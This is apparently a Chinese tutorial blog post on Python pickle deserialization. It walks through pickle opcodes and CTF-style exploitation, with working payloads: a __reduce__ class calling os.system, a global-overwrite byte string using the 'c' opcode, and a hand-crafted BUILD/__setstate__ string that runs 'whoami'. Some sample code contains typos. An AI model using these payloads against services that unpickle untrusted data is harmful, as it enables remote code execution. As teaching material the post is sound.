前言

本次学习是在有php反序列化基础上的,所以基础的什么是序列化和反序列化不必再说。与php反序列化类似,就是将程序运行的对象实例转换为字符串储存起来,在后续需要使用的时候就恢复原来的状态。当然,在python语言里也有类似于serialize和unserialize这样的函数,他们分别为序列化函数pickle.dumps和反序列化函数pickle.loads函数。

pickle.dumps将对象反序列化为字符串
pickle.dump将反序列化后的字符串存储为文件
pickle.loads() #对象反序列化
pickle.load() #对象反序列化,从文件中读取数据

python2和python3序列化出来的字符串是不一样的,python3添加了不可见字符。在这里就以python3环境为例,那就先举一个例子。

import pickle
class test():
def __init__(self):
self.name = 'Xiao'
self.age = '18'

a = test()
print(pickle.dumps(a))

那么生成的序列化链为:

\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x04Xiao\x94\x8c\x03age\x94\x8c\x0218\x94ub.

乍一看很难懂,但是有的大佬直接手撸链子,别急,后面慢慢说。想了解原理的师傅可以读一下pickle库的源码。

反序列化字符串分析

接下来我们来说一下pickle库自带的调试器——pickletools。那为什么要有这个调试器。那当然是方便我们研究啦,要不然我们怎么才能读懂上面生成的序列化字符串呢?它对上面字符串的每一个字符都做了解释,来举一个例子。

import pickle
import pickletools
class test():
def __init__(self):
self.name = 'Xiao'
self.age = '18
a = test()
b = pickle.dumps(a)
print(b)
pickletools.dis(b)

看结果:

这是反汇编,解析序列化字符串,并且告诉你每一部分代表什么意思,每一行都代表了一个指令,但是光看这全是指令的东西还是不明白。所以还需要进一步的说明。根据上面解析的结果一步步的分析。

pickle构造出的字符串,有很多个版本。在dumps或loads时,可以用Protocol参数指定协议版本,例如指定为0号版本,目前这些协议有0,2,3,4号版本,默认为3号版本。所以说上面结果第一行就是3了。0号版本是人类可读的,就类似于这样,

这是使用python2执行的结果,以后的版本就加了不可打印字符。值得一提的是,pickle是向前兼容的,0版本字符串不管在什么环境都可以反序列化成功。

\x80 PROTO 3表示使用3号版本序列化字符串,机器读取一个字节,变成\x03,操作结束
c GLOBALS操作符,连续读取两个字符串,module和name,以\n分隔,在这里为__main__和test
q BINPUT 这个操作符没有什么影响,应该就是把当前栈栈顶复制一份到储存区。
) EMPTY_TUPLE 把一个空的tuple压入当前栈
\x81 NEWOBJ 从栈中弹出一个参数和一个class,然后利用这个参数实例化class,把得到的实例压进栈
} EMPTY_DICT 把一个空的dict压进栈
( MARK 把当前栈这个整体作为list压进前序栈,并把当前栈清空,前序栈保存了程序运行的完整的信息,而当前栈只处理栈顶的事件。
X BINUNICODE 读入字符串,并且把它压进栈中,也就是类属性与值。
u SETITEMS 把当前栈的内容扔进一个数组,然后恢复MARK的状态。此时当前栈就存在__main__.test和dict,取出dict并读入数组的值,两两配对,前者为键,后者为值,也就是{'name':'xiao','age':'18'}
b BUILD 弹出栈中的数据,结束流程
. stop 字符串已弹出,结束

使用pickletools.optimize函数对序列化串进行优化,删除了BINPUT无用指令,更好分析。

说到这里应该对pickle生成序列化字符串有了初步的认识。

__reduce__方法

反序列化执行命令的重要魔术方法。我们可以在这个方法里构造命令去执行。看个例子。

import pickle
import pickletools
import os
class test():
def __reduce__(self):
return (os.system,('ls / ',))
a = test()
b = pickle.dumps(a)
c = pickletools.optimize(b)
print(c)
pickletools.dis(c)

返回值要么是字符串,要么就是元组。

reduce方法在pickle反序列化时会自动执行,就是利用了R指令,它主要做的事情是:

取当前栈的栈顶记为args,然后把它弹掉。
取当前栈的栈顶记为f,然后把它弹掉。以args为参数,执行函数f,把结果压进当前栈。

目前ctf题目大多都是用reduce方法来执行命令。构造恶意字符串,在反序列化时执行恶意命令。那么要过滤掉reduce该怎么做,reduce是否能调用成功完全取决于R指令是否存在,那么我们过滤掉R指令就会完全堵死这个思路。起初我认为python的反序列化就是调用reduce方法,但是接下来说一下比较奇特的思路。

c指令码(覆盖全局变量)

回看上面的内容,c指令是干什么用的?获取全局变量,读取module和name,看一个例子更好理解c指令是怎么用的。

import pickle
import base64
import secret
import pickletools

class test():
def __init__(self,a,b):
self.a = a
self.b = b

payload = b'?' #序列化串
other_flag = pickle.loads(payload)
secret_flag = test(secret.a,secret.b)

if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b:
print('flag{XXXXXXXXXX}')
else:
print('no')

我们不知道secret.py中a和b参数的值,那该怎么满足相等。先看一个正常的test类。

我们可以利用c指令来把aa和bb换成secret.a和b,说白了,就是手动修改序列化串。那么以name为例,把aa修改为secret.a就是将X\x02\x00\x00\x00aa替换为csecret\na\n。注意前面有个c,_变成\n,这样就达到覆盖变量的效果了。

原来的序列化串:
\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x02\x00\x00\x00aaq\x04X\x01\x00\x00\x00bq\x05X\x02\x00\x00\x00bbq\x06ub.
替换后的序列化串:
\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03csecret\na\nq\x04X\x01\x00\x00\x00bq\x05csecret\nb\nq\x06ub.

用师傅的例子本地测试不成功,我也很异或呢?总之覆盖变量就是这样一个改法。

BUILD指令

之前说到过,reduce方法是可以执行rce的,那么如果题目中禁用掉了reduce,我们还能执行命令吗?先在pickle源码中找到BUILD指令的具体实现代码:

大致的意思就是利用getattr函数来判断inst是否拥有__setstate__这个方法,如果拥有,就调用这个方法,如果没有,就把state这个字典的内容合并到inst_dict里,假设原本的类中没有__setatate__这个方法,我们利用{‘setstate‘: os.system}来BUILD这个对象,当BUILD指令执行时,由于原本的类中是没有__setstate__方法的,然后它会添加__setstate__方法,而这个方法的内容就是os.system,那么接下来我们再利用”ls /“来BUILD这个对象,由于有了__setstate__方法,就会调用这个方法,也就是执行了os.system,然后就执行了RCE。

说这么多不如举个例子:

import pickle
import pickletools

class test():
def __init__(self):
pass
a = print(pickle.dumps(test()))
print(pickletools.dis(pickle.dumps(test())))

看看结果:

现在我们要手动构造payload,先构造一个字典。

b'\x80\x03c__main__\ntest\nq\x00)\x81}.'#}在上文有解释

然后添加MARK指令。

b'\x80\x03c__main__\ntest\nq\x00)\x81}(.'

添加键值对,注意这里添加值要配合c指令

b'\x80\x03c__main__\ntest\nq\x00)\x81}(V__setstate__\ncos\nsystem\nu.'

最后加上b,执行第一次BUIILD。

继续添加参数:

b'\x80\x03c__main__\ntest\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\n.'

然后添加b生成最终payload:

b'\x80\x03c__main__\ntest\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'

在本地测试的确可以执行RCE呢。

结语

以上主要说python3的反序列化链,了解了python3的序列化机制,那么python2也应该很好理解了。本文主要记录自己对python反序列化的初步学习,若文章有错误之处欢迎师傅指正。

好的技术文章是我们初学者的福音,所以推荐以下两位师傅的文章:

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎

Python pickle 反序列化详解 - FreeBuf网络安全行业门户